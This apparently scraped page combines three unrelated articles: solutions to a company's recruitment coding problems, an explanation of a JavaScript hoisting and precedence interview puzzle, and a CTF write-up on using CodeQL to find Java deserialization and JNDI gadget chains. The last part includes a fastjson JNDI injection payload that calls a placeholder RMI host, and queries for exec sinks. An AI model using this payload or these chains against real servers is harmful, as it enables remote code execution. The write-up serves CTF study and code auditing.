整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

春招研发笔试题解密(Part 2)

春招研发笔试题解密(Part 2)

一场春招笔试完美落幕啦,总体来看这场在线编程题难度不大,更多考察的是代码的基本能力。

各位解题高手是不是仍意犹未尽呢?但与此同时你也会想要知道答案吧,这里就有出题官给大家分享的解题思路哦。快来看看你的思路有没有跑偏呀!


Prob. A- 两数组找相同的元素

题目大意

给定两个无序数组求交集,时间复杂度要求 O(nlogn) 或 O(n)。

题解

简单题。排序二分、Tree set/map 都可以实现 log 级别的快速查找,也可以利用 hash 实现 O(1) 的查找复杂度。

值得注意的是,各个语言的一些基于无序查找的 List find 方法都是线性复杂度的(例如 c++ 的 vector::find,javascript 的 Array.indexof 等),不满足要求。


Prob. B - DAU 统计

题目大意

给定一堆 64 位 ID,根据题目规则求 distinct ID 的数量。

题解

简单题,本质上就是实现一个 unique 方法。做法很多,一个简单的实现方法就是排序之后进行相邻比对即可。尽管时限上卡得不严,但由于读入的数据量很大,在 IO 上也有些优化的余地。例如对于 C++ 的用户,更推荐使用 scanf 而不是带 IO 同步的 cin(也可以采用 getchar/fread 进一步优化);对于 java,stream buffered input method 在性能上也比裸的 scanner 更好。当然即便不加这些优化,上述算法也能顺利通过测试数据。

作为一个在线笔试题,这个题目是非常简单的。一个留给各位思考的 meta problem 是,如果应用于更大规模的场景下,又应当如何实现这个问题?


Prob. C - 形式化算式

题目大意

根据题目格式,对一个算式(包含数字和加减乘除)进行点阵输出。

题解

代码实现题。先将各个字符的点阵存起来,然后确定最后要输出的所有字符(例如 sprintf),接下来模拟输出就可以了。整体实现上没什么难度,一些 corner case 包括小数点,末尾 0 等,小心处理即可。


Prob. D - 任务执行策略

题目大意

给定一个任务依赖的下三角矩阵,每个任务依赖于它在矩阵中下方的两个子任务,当且仅当子任务都执行完成之后才能执行当前任务。求执行恰好 k 个任务的最大权值之和。

题解

动态规划。

如图,如果我们选择了 Job(i, j),除了要同时选中 Job(i + 1, j)之外,也意味着 Job(i + 1, j + 1), Job(i + 2, j + 2) … Job(i + d, j + d) 这一条链全部都要选中。既然每条斜线都是选择一个后缀,因此可以据此划分阶段进行动态规划。

考虑 f[i, j, m] 表示前 i 条斜线,总共选择了 m 个任务,其中第 i 条斜线自下往上选择了 j 个任务时的最大权值和,那么转移时只需要保证第 i - 1 条斜线需要选择的任务个数 >=j - 1 即可。状态转移方程为

f[i, j, m]=max(f[i - 1, j2, m - j]) + sum[i, j] (j - 1 <=j2 <=i)

这里 sum[i, j] 表示第 i 条斜线的最下面 j 个任务的权值之和。这个转移的复杂度是 O(n) 的,总复杂度会达到 O(n^3 * m),不符合要求。问题的关键在于如何快速地获得 max(f[i - 1, j2, m - j]) 这一项,这里的优化方式很多,简单举两个方法:

1. 用另一个数组维护每条斜线的 f 数组的后缀的最大值,那么 max(f[i - 1, j2, m - j]) 这一项就可以 O(1) 得到;

2. 将 f 的定义改为,第 i 条斜线自下往上 至少 选择了 j 个任务的最大权值和,那么转移时就不需要枚举 j2 了。具体的转移方程留给各位重新推导一下。

优化之后可以得到 O(n^2 * m) 的时间复杂度。

当然这个题目也可以有另外的状态划分方式。注意到 Job(i, j) 选中时,除了 Job(i + 1, j + 1) 这个任务之外,Job(i + 1, j), Job(i + 2, j) … Job(n, j) 这一条链也必须选中,那么也可以用和上述对称的方式来构造转移方程。时间复杂度同样也是 O(n^2 * m) 的。

笔试题解已经诚意满满地奉上,

我们也同样满怀诚意地期待与你在头条相见!

function Foo() {
    getName = function () { alert (1); };
    return this;
}
Foo.getName = function () { alert (2);};
Foo.prototype.getName = function () { alert (3);};
var getName = function () { alert (4);};
function getName() { alert (5);}

//请写出以下输出结果:
Foo.getName();
getName();
Foo().getName();
getName();
new Foo.getName();
new Foo().getName();
new new Foo().getName();


这几天面试上几次碰上这道经典的题目,特地从头到尾来分析一次答案,这道题的经典之处在于它综合考察了面试者的JavaScript的综合能力,包含了变量定义提升、this指针指向、运算符优先级、原型、继承、全局变量污染、对象属性及原型属性优先级等知识,此题在网上也有部分相关的解释,当然我觉得有部分解释还欠妥,不够清晰,特地重头到尾来分析一次,当然我们会把最终答案放在后面,并把此题再改高一点点难度,改进版也放在最后,方便面试官在出题的时候有个参考,更多详情可关注本文作者@Wscats

第一问

先看此题的上半部分做了什么,首先定义了一个叫Foo的函数,之后为Foo创建了一个叫getName的静态属性存储了一个匿名函数,之后为Foo的原型对象新创建了一个叫getName的匿名函数。之后又通过函数变量表达式创建了一个getName的函数,最后再声明一个叫getName函数。

第一问的Foo.getName自然是访问Foo函数上存储的静态属性,答案自然是2,这里就不需要解释太多的,一般来说第一问对于稍微懂JS基础的同学来说应该是没问题的,当然我们可以用下面的代码来回顾一下基础,先加深一下了解

function User(name) {
    var name = name; //私有属性
    this.name = name; //公有属性
    function getName() { //私有方法
        return name;
    }
}
User.prototype.getName = function() { //公有方法
    return this.name;
}
User.name = 'Wscats'; //静态属性
User.getName = function() { //静态方法
    return this.name;
}
var Wscat = new User('Wscats'); //实例化


注意下面这几点:

  • 调用公有方法,公有属性,我们必需先实例化对象,也就是用new操作符实化对象,就可构造函数实例化对象的方法和属性,并且公有方法是不能调用私有方法和静态方法的
  • 静态方法和静态属性就是我们无需实例化就可以调用
  • 而对象的私有方法和属性,外部是不可以访问的

第二问

第二问,直接调用getName函数。既然是直接调用那么就是访问当前上文作用域内的叫getName的函数,所以这里应该直接把关注点放在4和5上,跟1 2 3都没什么关系。当然后来我问了我的几个同事他们大多数回答了5。此处其实有两个坑,一是变量声明提升,二是函数表达式和函数声明的区别。

我们来看看为什么,可参考(1)关于Javascript的函数声明和函数表达式 (2)关于JavaScript的变量提升

在Javascript中,定义函数有两种类型

函数声明

// 函数声明
function wscat(type) {
    return type === "wscat";
}

函数表达式

// 函数表达式
var oaoafly = function(type) {
    return type === "oaoafly";
}


先看下面这个经典问题,在一个程序里面同时用函数声明和函数表达式定义一个名为getName的函数

getName() //oaoafly
var getName = function() {
console.log('wscat')
}
getName() //wscat
function getName() {
console.log('oaoafly')
}
getName() //wscat


上面的代码看起来很类似,感觉也没什么太大差别。但实际上,Javascript函数上的一个“陷阱”就体现在Javascript两种类型的函数定义上。

  • JavaScript 解释器中存在一种变量声明被提升的机制,也就是说函数声明会被提升到作用域的最前面,即使写代码的时候是写在最后面,也还是会被提升至最前面。
  • 而用函数表达式创建的函数是在运行时进行赋值,且要等到表达式赋值完成后才能调用
var getName //变量被提升,此时为undefined

getName() //oaoafly 函数被提升 这里受函数声明的影响,虽然函数声明在最后可以被提升到最前面了
var getName = function() {
console.log('wscat')
} //函数表达式此时才开始覆盖函数声明的定义
getName() //wscat
function getName() {
console.log('oaoafly')
}
getName() //wscat 这里就执行了函数表达式的值


所以可以分解为这两个简单的问题来看清楚区别的本质

var getName;
console.log(getName) //undefined
getName() //Uncaught TypeError: getName is not a function
var getName = function() {
console.log('wscat')
}
var getName;
console.log(getName) //function getName() {console.log('oaoafly')}
getName() //oaoafly
function getName() {
console.log('oaoafly')
}


这个区别看似微不足道,但在某些情况下确实是一个难以察觉并且“致命“的陷阱。出现这个陷阱的本质原因体现在这两种类型在函数提升和运行时机(解析时/运行时)上的差异。

当然我们给一个总结:Javascript中函数声明和函数表达式是存在区别的,函数声明在JS解析时进行函数提升,因此在同一个作用域内,不管函数声明在哪里定义,该函数都可以进行调用。而函数表达式的值是在JS运行时确定,并且在表达式赋值完成后,该函数才能调用。

所以第二问的答案就是4,5的函数声明被4的函数表达式覆盖了

第三问

Foo().getName(); 先执行了Foo函数,然后调用Foo函数的返回值对象的getName属性函数。

Foo函数的第一句getName=function () { alert (1); };是一句函数赋值语句,注意它没有var声明,所以先向当前Foo函数作用域内寻找getName变量,没有。再向当前函数作用域上层,即外层作用域内寻找是否含有getName变量,找到了,也就是第二问中的alert(4)函数,将此变量的值赋值为function(){alert(1)}。

此处实际上是将外层作用域内的getName函数修改了。

注意:此处若依然没有找到会一直向上查找到window对象,若window对象中也没有getName属性,就在window对象中创建一个getName变量。

之后Foo函数的返回值是this,而JS的this问题已经有非常多的文章介绍,这里不再多说。

简单的讲,this的指向是由所在函数的调用方式决定的。而此处的直接调用方式,this指向window对象。

遂Foo函数返回的是window对象,相当于执行window.getName(),而window中的getName已经被修改为alert(1),所以最终会输出1
此处考察了两个知识点,一个是变量作用域问题,一个是this指向问题
我们可以利用下面代码来回顾下这两个知识点

var name = "Wscats"; //全局变量
window.name = "Wscats"; //全局变量
function getName() {
    name = "Oaoafly"; //去掉var变成了全局变量
    var privateName = "Stacsw";
    return function() {
        console.log(this); //window
        return privateName
    }
}
var getPrivate = getName("Hello"); //当然传参是局部变量,但函数里面我没有接受这个参数
console.log(name) //Oaoafly
console.log(getPrivate()) //Stacsw


因为JS没有块级作用域,但是函数是能产生一个作用域的,函数内部不同定义值的方法会直接或者间接影响到全局或者局部变量,函数内部的私有变量可以用闭包获取,函数还真的是第一公民呀~

而关于this,this的指向在函数定义的时候是确定不了的,只有函数执行的时候才能确定this到底指向谁,实际上this的最终指向的是那个调用它的对象

所以第三问中实际上就是window在调用**Foo()**函数,所以this的指向是window

window.Foo().getName();
//->window.getName();

第四问

直接调用getName函数,相当于window.getName(),因为这个变量已经被Foo函数执行时修改了,遂结果与第三问相同,为1,也就是说Foo执行后把全局的getName函数给重写了一次,所以结果就是Foo()执行重写的那个getName函数

第五问

第五问new Foo.getName();此处考察的是JS的运算符优先级问题,我觉得这是这题灵魂的所在,也是难度比较大的一题

下面是JS运算符的优先级表格,从高到低排列。可参考MDN运算符优先级

优先级运算类型关联性运算符19圆括号n/a( … )18成员访问从左到右… . …


需计算的成员访问从左到右… [ … ]


new (带参数列表)n/a new… ( … )17函数调用从左到右… ( … )


new (无参数列表)从右到左new …16后置递增(运算符在后)n/a… ++


后置递减(运算符在后)n/a… --15逻辑非从右到左! …


按位非从右到左~ …


一元加法从右到左+ …


一元减法从右到左- …


前置递增从右到左++ …


前置递减从右到左-- …


typeof从右到左typeof …


void从右到左void …


delete从右到左delete …14乘法从左到右… * …


除法从左到右… / …


取模从左到右… % …13加法从左到右… + …


减法从左到右… - …12按位左移从左到右… << …


按位右移从左到右… >> …


无符号右移从左到右… >>> …11小于从左到右… < …


小于等于从左到右… <=…


大于从左到右… > …


大于等于从左到右… >=…


in从左到右… in …


instanceof从左到右… instanceof …10等号从左到右…==…


非等号从左到右… !=…


全等号从左到右…===…


非全等号从左到右… !==…9按位与从左到右… & …8按位异或从左到右… ^ …7按位或从左到右… 按位或 …6逻辑与从左到右… && …5逻辑或从左到右… 逻辑或 …4条件运算符从右到左… ? … : …3赋值从右到左…=…


… +=…


… -=…


… *=…


… /=…


… %=…


… <<=…


… >>=…


… >>>=…


… &=…


… ^=…


… 或=…2yield从右到左yield …


yield*从右到左yield* …1展开运算符n/a... …0逗号从左到右… , …

这题首先看优先级的第18和第17都出现关于new的优先级,new (带参数列表)比new (无参数列表)高比函数调用高,跟成员访问同级

new Foo.getName();的优先级是这样的

相当于是:

new (Foo.getName)();
  • 点的优先级(18)比new无参数列表(17)优先级高
  • 当点运算完后又因为有个括号(),此时就是变成new有参数列表(18),所以直接执行new,当然也可能有朋友会有疑问为什么遇到()不函数调用再new呢,那是因为函数调用(17)比new有参数列表(18)优先级低

.成员访问(18)->new有参数列表(18)

所以这里实际上将getName函数作为了构造函数来执行,遂弹出2。

第六问

这一题比上一题的唯一区别就是在Foo那里多出了一个括号,这个有括号跟没括号我们在第五问的时候也看出来优先级是有区别的

(new Foo()).getName()

那这里又是怎么判断的呢?首先new有参数列表(18)跟点的优先级(18)是同级,同级的话按照从左向右的执行顺序,所以先执行new有参数列表(18)再执行点的优先级(18),最后再函数调用(17)

new有参数列表(18)->.成员访问(18)->()函数调用(17)

这里还有一个小知识点,Foo作为构造函数有返回值,所以这里需要说明下JS中的构造函数返回值问题。

构造函数的返回值

在传统语言中,构造函数不应该有返回值,实际执行的返回值就是此构造函数的实例化对象。
而在JS中构造函数可以有返回值也可以没有。

  1. 没有返回值则按照其他语言一样返回实例化对象。
function Foo(name) {
this.name = name
}
console.log(new Foo('wscats'))


  1. 若有返回值则检查其返回值是否为引用类型。如果是非引用类型,如基本类型(String,Number,Boolean,Null,Undefined)则与无返回值相同,实际返回其实例化对象。
function Foo(name) {
this.name = name
return 520
}
console.log(new Foo('wscats'))


  1. 若返回值是引用类型,则实际返回值为这个引用类型。
function Foo(name) {
this.name = name
return {
age: 16
}
}
console.log(new Foo('wscats'))

原题中,由于返回的是this,而this在构造函数中本来就代表当前实例化对象,最终Foo函数返回实例化对象。

之后调用实例化对象的getName函数,因为在Foo构造函数中没有为实例化对象添加任何属性,当前对象的原型对象(prototype)中寻找getName函数。

当然这里再拓展个题外话,如果构造函数和原型链都有相同的方法,如下面的代码,那么默认会拿构造函数的公有方法而不是原型链,这个知识点在原题中没有表现出来,后面改进版我已经加上。

function Foo(name) {
this.name = name
this.getName = function() {
return this.name
}
}
Foo.prototype.name = 'Oaoafly';
Foo.prototype.getName = function() {
return 'Oaoafly'
}
console.log((new Foo('Wscats')).name) //Wscats
console.log((new Foo('Wscats')).getName()) //Wscats

第七问

new new Foo().getName();同样是运算符优先级问题。做到这一题其实我已经觉得答案没那么重要了,关键只是考察面试者是否真的知道面试官在考察我们什么。
最终实际执行为:

new ((new Foo()).getName)();


new有参数列表(18)->new有参数列表(18)

先初始化Foo的实例化对象,然后将其原型上的getName函数作为构造函数再次new,所以最终结果为3

答案

function Foo() {
    getName = function () { alert (1); };
    return this;
}
Foo.getName = function () { alert (2);};
Foo.prototype.getName = function () { alert (3);};
var getName = function () { alert (4);};
function getName() { alert (5);}

//答案:
Foo.getName();//2
getName();//4
Foo().getName();//1
getName();//1
new Foo.getName();//2
new Foo().getName();//3
new new Foo().getName();//3

后续

后续我把这题的难度再稍微加大一点点(附上答案),在Foo函数里面加多一个公有方法getName,对于下面这题如果用在面试题上那通过率可能就更低了,因为难度又大了一点,又多了两个坑,但是明白了这题的原理就等同于明白了上面所有的知识点了

function Foo() {
this.getName = function() {
console.log(3);
return {
getName: getName //这个就是第六问中涉及的构造函数的返回值问题
}
}; //这个就是第六问中涉及到的,JS构造函数公有方法和原型链方法的优先级
getName = function() {
console.log(1);
};
return this
}
Foo.getName = function() {
console.log(2);
};
Foo.prototype.getName = function() {
console.log(6);
};
var getName = function() {
console.log(4);
};

function getName() {
console.log(5);
} //答案:
Foo.getName(); //2
getName(); //4
console.log(Foo())
Foo().getName(); //1
getName(); //1
new Foo.getName(); //2
new Foo().getName(); //3
//多了一问
new Foo().getName().getName(); //3 1
new new Foo().getName(); //3


最后,其实我是不建议把这些题作为考察面试者的唯一评判,但是作为一名合格的前端工程师我们不应该因为浮躁忽略了我们的一些最基本的基础知识,当然我也祝愿所有面试者找到一份理想的工作,祝愿所有面试官找到心中那匹千里马~

CodeQL是近几年很火的一个语义代码分析引擎,使用CodeQL可以像查询数据一样来查询代码,编写查询用于查找代码中的漏洞。笔者作为一名安全竞赛研究员,尝试使用CodeQL来协助CTF中Java题目的代码审计。本文将围绕着使用CodeQL来查询Java中函数的流向,以及类与函数常用谓词的运用,在CTF的代码审计时快速判断某个函数是否会流向一些可能存在利用的函数。

基础的环境搭建

关于CodeQL的环境安装教程,网上已经有比较多的文章了,这里就不赘述。给出几个参考链接:

https://github.com/github/codeql

https://www.anquanke.com/post/id/266823

https://www.freebuf.com/sectool/269924.html

https://tttang.com/archive/1322/

对类进行限制

查询的过程中,我们如果想要查询某个类(或方法),这时就需要通过一些谓词来限制这个类(或方法)的一些特征。

先从网上下载一个已经打包的数据库:
https://github.com/githubsatelliteworkshops/codeql/releases/download/v1.0/apache_struts_cve_2017_9805.zip

在CodeQL中,RefType就包含了我们在Java里面使用到的Class,Interface的声明,比如我们现在需要查询一个类名为XStreamHandler的类,但是我们不确定他是Class还是Interface,我们就可以通过 RefType定义变量后进行查询,如下

import java

from RefType c
where c.hasName("XStreamHandler")
select c

RefType中常用的谓词:
https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Type.qll/type.Type$RefType.html

getACallable() 获取所有可以调用方法(其中包括构造方法)
getAMember() 获取所有成员,其中包括调用方法,字段和内部类这些
getAField() 获取所有字段
getAMethod() 获取所有方法
getASupertype() 获取父类
getAnAncestor() 获取所有的父类相当于递归的getASupertype*()

获取XStreamHandlerfromObject可以通过构造如下查询语句:

import java

from RefType c, Callable cf
where
  c.hasName("XStreamHandler") and
  cf.hasName("fromObject") and
  cf=c.getACallable()
select c, cf

在CodeQL中,Java的方法限制,我们可以使用Callable,并且Callable父类是 Method (普通的方法)和 Constructor(类的构造方法)

对于方法调用,我们可以使用call,并且call的父类包括MethodAccess, ClassInstanceExpression, ThisConstructorInvocationStmtSuperConstructorInvocationStmt

现在我们需要查询有哪些地方调用了XStream.fromXML,可以构造如下的查询:

import java

from MethodAccess c, Callable cb
where
  cb.hasName("fromXML") and
  cb.getDeclaringType().hasQualifiedName("com.thoughtworks.xstream", "XStream") and
  c.getMethod()=cb
select c

Callable常使用的谓词:
https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Member.qll/type.Member$Callable.html

polyCalls(Callable target) 一个Callable 是否调用了另外的Callable,这里面包含了类似虚函数的调用
hasName(name) 可以对方法名进行限制

Call中常使用的谓词:
https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Call.html

getCallee() 返回函数声明的位置
getCaller() 返回调用这个函数的函数位置

现在我们先构建一个mybatis-3的数据库,通过CodeQL database create mybatis_3_db --language="java" --command="mvn clean install --file pom.xml -Dmaven.test.skip=true"进行编译,编译完导入vscode就行

mybatis-3的下载链接:https://github.com/mybatis/mybatis-3

我们先编写一个限制方法名为lookup,并且他所属的类或者接口是javax.naming.Context的类,点击快速查询得到三个结果:

class LookupMethod extends Call {
  LookupMethod() {
    this.getCallee().getDeclaringType().getASupertype*().hasQualifiedName("javax.naming", "Context") and
    this.getCallee().hasName("lookup")
  }
}

然后再编写一个限制方法名满足gettersetter的类,我们点击快速查看,可以得到很多结果。

class GetterCallable extends Callable {
  GetterCallable() {
    getName().matches("get%") and
    hasNoParameters() and
    getName().length() > 3
    or
    getName().matches("set%") and
    getNumberOfParameters()=1
  }
}

现在我们需要找到一个可以从gettersetter方法到lookup的路径,这个时候可以利用edgesCallable中的谓词polyCalls进行构造,通过查询可以得到一个结果,也就是 fastjson 1.2.45里面的一个绕过方法。

https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/PrintAst.qll/predicate.PrintAst$edges.4.html

/**
 * @kind path-problem
 */

import java

class LookupMethod extends Call {
  LookupMethod() {
    this.getCallee().getDeclaringType().getASupertype*().hasQualifiedName("javax.naming", "Context") and
    this.getCallee().hasName("lookup")
  }
}

class GetterCallable extends Callable {
  GetterCallable() {
    getName().matches("get%") and
    hasNoParameters() and
    getName().length() > 3
    or
    getName().matches("set%") and
    getNumberOfParameters()=1
  }
}

query predicate edges(Callable a, Callable b) { a.polyCalls(b) }

from LookupMethod endcall, GetterCallable entryPoint, Callable endCallAble
where
  endcall.getCallee()=endCallAble and
  edges+(entryPoint, endCallAble)
select endcall.getCaller(), entryPoint, endcall.getCaller(), "Geter jndi"、

在CTF中的运用

gadeget题目

SUSCTF2022的gadeget题目考察的是:fastjson JNDI注入、JNDI注入绕过高版本jdk限制、绕过RASP等。

做这个题目的时候,有一步是需要我们找到通过fastjson利用quartz依赖包的gadeget触发反序列化。

通过 https://github.com/quartz-scheduler/quartz 下载源码包,然后通过以下命令生成数据库:

CodeQL database create  quartz_db --language="java"  --command="mvn clean install --file pom.xml -Dmaven.test.skip=true"

然后导入到CodeQL里面。需要注意的是,如果这个数据库通过https://github.com/waderwu/extractor-java这个工具生成quartz2.2.1数据库的话会导致查询不到getTransaction函数,查看相应代码的AST(抽象语法树)发现,AST这里并没有把getTransaction解析为函数。

然后通过如下的codeql语句进行查询,整个codeql的查询意义是先找到一个从getter或者setter出发的函数,是否能流到lookup的调用,并且这个lookup调用时的参数是存在相应的setter进行赋值操作。

/**
 * @kind path-problem
 */

import java

class LookupMethod extends Call {
  LookupMethod() {
    this.getCallee().getDeclaringType().getASupertype*().hasQualifiedName("javax.naming", "Context") and
    this.getCallee().hasName("lookup") and
    exists(FieldAccess f, Class cl |
      this.getAnArgument()=f and
      cl.getACallable().getName().toLowerCase().matches("set" + f.toString().toLowerCase()) and
      this.getCaller().getDeclaringType()=cl
    )
  }
}

class GetterCallable extends Callable {
  GetterCallable() {
    getName().matches("get%") and
    hasNoParameters() and
    getName().length() > 3
    or
    getName().matches("set%") and
    getNumberOfParameters()=1
  }
}

query predicate edges(Callable a, Callable b) { a.polyCalls(b) }

from LookupMethod endcall, GetterCallable entryPoint, Callable endCallAble
where
  endcall.getCallee()=endCallAble and
  edges+(entryPoint, endCallAble)
select endcall.getCaller(), entryPoint, endcall.getCaller(), "fastjson"

可以发现扫到了很多地方,但是主要触发点就两个:

经过筛选,我们发现可以通过JTANonClusteredSemaphore的方法getTransaction触发jndi

所以我们就可以构造poc,远程可以收到请求,利用成功。

[{"@type":"org.quartz.impl.jdbcjobstore.JTANonClusteredSemaphore","TransactionManagerJNDIName":"rmi://ip:port/h"},{"$ref":"$[0].Transaction"}]

ezjava题目

MRCTF2022的ezjava题目考察的是:bypass SerialKiller、反序列化链构造等。

题目环境:
https://github.com/Y4tacker/CTFBackup/tree/main/2022/2022MRCTF/%E7%BB%95serializeKiller

题目对一些类进行了过滤,很容易想到出题人就是让我们绕过限制,过滤了如下的类,结合之前对cc链的掌握,我们知道cc链在最后代码执行或者命令执行的sink就两个地方,一个是通过反射到命令执行,另一个是通过TrAXFilterTemplatesImpl的配合进行代码执行,他这里就只是过滤了最后触发的地方,前面反序列化到LazyMap.get()都是可以用的。

这次生成cc3.2.1数据库我用的是如下链接的工具(需要注意一点是在linux上面构建数据库的codeql版本最好和在vscode里面使用的版本一致),因为没有安装相应版本的jdk进行编译,直接通过mvn构建时报错。

https://github.com/waderwu/extractor-java

这里我选择的是找到一个其他可以利用的点,这个点是可以触发Constructor.newInstance的方法,具体构建查询如下

/**
 * @kind path-problem
 */

import java

class NewInstanceCall extends Call {
    NewInstanceCall() {
    this.getCallee().getDeclaringType() instanceof TypeConstructor and
    this.getCallee().hasName("newInstance") and
    not getCaller().getDeclaringType().hasName("InvokerTransformer") and
    not getCaller().getDeclaringType().hasName("ChainedTransformer") and
    not getCaller().getDeclaringType().hasName("ConstantTransformer") and
    not getCaller().getDeclaringType().hasName("InstantiateTransformer")
  }
}

class GetterCallable extends Callable {
    GetterCallable() {
    getName().matches("transform") and
    not getDeclaringType() instanceof Interface and
    fromSource() and
    getNumberOfParameters()=1 and
    not getDeclaringType().hasName("InvokerTransformer") and
    not getDeclaringType().hasName("ChainedTransformer") and
    not getDeclaringType().hasName("ConstantTransformer") and
    not getDeclaringType().hasName("InstantiateTransformer")
  }
}

query predicate edges(Callable a, Callable b) { a.polyCalls(b) }

from  NewInstanceCall endcall, GetterCallable entryPoint,Callable endCallAble
where endcall.getCallee()=endCallAble and
  edges+(entryPoint, endCallAble)
select endcall.getCaller(), entryPoint, endcall.getCaller(), "cc finder"

最后人工筛选确定使用FactoryTransformer.transform为新的触发点,具体poc可以参考:

https://guokeya.github.io/post/tLCxJb1Sl/

https://y4tacker.github.io/2022/04/24/year/2022/4/2022MRCTF-Java%E9%83%A8%E5%88%86/#EzJava-%E2%80%93-Bypass-Serialkiller

ezchain题目

hfctf2022的ezchain题目考察的是:hessian反序列化链构造等。

题目环境:
https://github.com/waderwu/My-CTF-Challenges/tree/master/hfctf-2022/ezchain

因为这次跑CodeQL需要生成相应jdk的数据库,所以关于数据库的生成可以参考下面两个链接:

https://old.sumsec.me/2021/08/18/CodeQL%20Create%20OpenJdk_Jdk8%20Database/

https://blog.csdn.net/mole_exp/article/details/122330521

在这个题里面的利用主要就是通过getter查找到二次反序列化点和命令执行,但是这次没有选用递归的形式,因为递归太慢了,不过有时间可以跑跑看还有没有其他的点。

/**
 * @kind path-problem
 */

import java

class ReadCall extends Call {
  ReadCall() {
    this.getCallee().getDeclaringType().hasQualifiedName("java.io", "ObjectInput") and
    this.getCallee().hasName("readObject") and
    this.getCallee().fromSource()
  }
}

class GetterCallable extends Callable {
    GetterCallable() {
    getName().matches("get%") and
    this.hasNoParameters() and
    getName().length() > 3
  }
}

query predicate edges(Callable a, Callable b) { a.polyCalls(b) }

from  ReadCall endcall, GetterCallable entryPoint,Callable endCallAble
where endcall.getCallee()=endCallAble and
  edges(entryPoint, endCallAble)
select endcall.getCaller(), entryPoint, endcall.getCaller(), "Getter to readObject"

但是在查询getterRuntime.getRuntime().exec时候,我测试了很多次发现都没有办法直接查询到,因为从getter到命令执行的地方是经过了java的native方法,导致失去了AccessController.doPrivileged方法的信息。

来看看在CodeQL中这一部分的数据是什么样子吧,可以发现关于这部分的函数调用根本没有解析出来。

import java

from Callable c
where c.hasName("execCmd") and
c.getDeclaringType().hasName("PrintServiceLookupProvider")
select c.getACallee()

所以我们就只好设置execCmd为终点了,这里也只扫了一层的,如果递归就可能要很久。

/**
 * @kind path-problem
 */

import java

class ExecCall extends Call {
  ExecCall() {
    this.getCallee().getDeclaringType().hasQualifiedName("sun.print", "PrintServiceLookupProvider") and
    this.getCallee().hasName("execCmd")
    or
    this.getCallee().getDeclaringType().hasQualifiedName("java.lang", "Runtime") and
    this.getCallee().hasName("exec")
  }
}

class GetterCallable extends Callable {
  GetterCallable() {
    getName().matches("get%") and
    this.hasNoParameters() and
    getName().length() > 3
  }
}

query predicate edges(Callable a, Callable b) { a.polyCalls(b) }

from ExecCall endcall, GetterCallable entryPoint, Callable endCallAble
where
  endcall.getCallee()=endCallAble and
  edges(entryPoint, endCallAble)
select endcall.getCaller(), entryPoint, endcall.getCaller(), "Getter to execCmd"

ezcc题目

2022年数字中国创新大赛车联网安全赛初赛的ezcc题目考察的是:Shiro反序列化、CommonsCollections链、CommonsBeanutils链的绕过等。

题目环境:
https://www.ichunqiu.com/battalion?t=1&r=70889

题目给了附件,大概看一下就明白是Shiro反序列化的利用,但是题目过滤了一些类。

这个时候可以利用之前学习过的poc进行改造,可以清楚的看到我们只需要找到一个 InvokerTransformer的替代类即可

https://github.com/phith0n/JavaThings/blob/master/shiroattack/src/main/java/com/govuln/shiroattack/CommonsCollectionsShiro.java

其实熟悉cc链的应该一眼就看出来可以通过InstantiateTransformer来代替,因为在cc3cc4中注释里面写的很清楚。

如果不知道这个前提的情况下我们可以怎么去思考,先看看 InvokerTransformer的作用,可以发现是可以通过反射执行newTransformer的方法。

我们先看看剩下的transform里面,哪些看着比较好利用吧,直接快速查询看看,发现总共就29个,挨着看看每个方法。

import java

class TransformrCallable extends Callable {
  TransformrCallable() {
    getName().matches("transform") and
    not getDeclaringType() instanceof Interface and
    fromSource() and
    getNumberOfParameters()=1 and
    not getDeclaringType().hasName("InvokerTransformer") and
    not getDeclaringType().hasName("ConstantTransformer") 
  }
}
from TransformrCallable c
select c,c.getBody(),c.getDeclaringType()

这里就列举一下有那些看着感觉可以利用吧。

第6个会调用某些满足条件的create()的方法:

第7个,会调用Closure类的execute方法:

第9个,会调用Factory类的create方法:

第10个的时候,发现我们可以实例化一个类,这就代表着我们可以触发一些类的构造方法:

第13个,会调用Predicate类的execute方法:

在这29个里面,我们就筛选出来了5个可能存在利用的地方,首先我们的目标就是要找到一个可以调用到TemplatesImplnewTransformer方法的地方。

我先看找到的第一个可能存在利用的地方,CloneTransformer.transform函数后续操作。

如果有目标类存在clone方法,就直接返回new PrototypeFactory.PrototypeCloneFactory后,调用create方法,否则new InstantiateFactory后调用create方法,不过这里new InstantiateFactory的参数值不完全可控,所以利用不了

接下来看看第二个点Closure.execute,因为Closureinterface,所以采用getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Closure")进行限制,得到了9个结果,但是看着感觉没有什么好利用的。

import java

class ClosureCallable extends Callable {
  ClosureCallable() {
    getName().matches("execute") and
    getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Closure") and
    fromSource() and
    getNumberOfParameters()=1
  }
}
from ClosureCallable c
select c,c.getBody(),c.getDeclaringType()

第三个点就是筛选Factory类的create方法看看有什么可以利用的。

import java

class FactoryCallable extends Callable {
  FactoryCallable() {
    getName().matches("create") and
    getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Factory") and
    fromSource() and
    getNumberOfParameters()=0
  }
}

from FactoryCallable c
select c,c.getBody(),c.getDeclaringType()

发现结果中的第三个也是可以触发类的构造方法,后续流程又回到了第二点后半部分的TrAXFilter类的利用了。

虽然有transient修饰,但是findConstructor又会给iConstructor进行赋值,所以这里是可以利用的。

然后我们在生成jdk数据库里面找找有没有那个类的构造方法可以调用到TemplatesImplnewTransformer方法,编写如下的查询语句可以得到TrAXFilter的构造方法是可以触发newTransformer,具体poc构造参考。

/**
 * @kind path-problem
 */

import java

class ConMethod extends Callable{
  ConMethod(){
    this instanceof Constructor
  }
}

class NewTransformer extends Callable{
  NewTransformer(){
    hasName("newTransformer") and
    hasNoParameters() and
    getDeclaringType().hasName("TemplatesImpl")
  }
}

query predicate edges(Callable a, Callable b) { a.polyCalls(b) }

from  NewTransformer endcall, ConMethod entryPoint
where edges(entryPoint, endcall)
select endcall, entryPoint, endcall, "newTransformer finder"

Java的poc构造可以参考上面ezjava题目给出的两个链接。

结果中的第四个虽然有反射调用任意的方法,但是transient修饰了方法名,导致反序列化时这个值会为null,所以这里利用不了。

结果中的第六个是无参的构造方法调用,也利用不了。

第四个点也就是会新创建一个对象,也就会触发构造方法,所以利用方式就可以参考第一个点的后半部分,具体poc的构造可以参考:

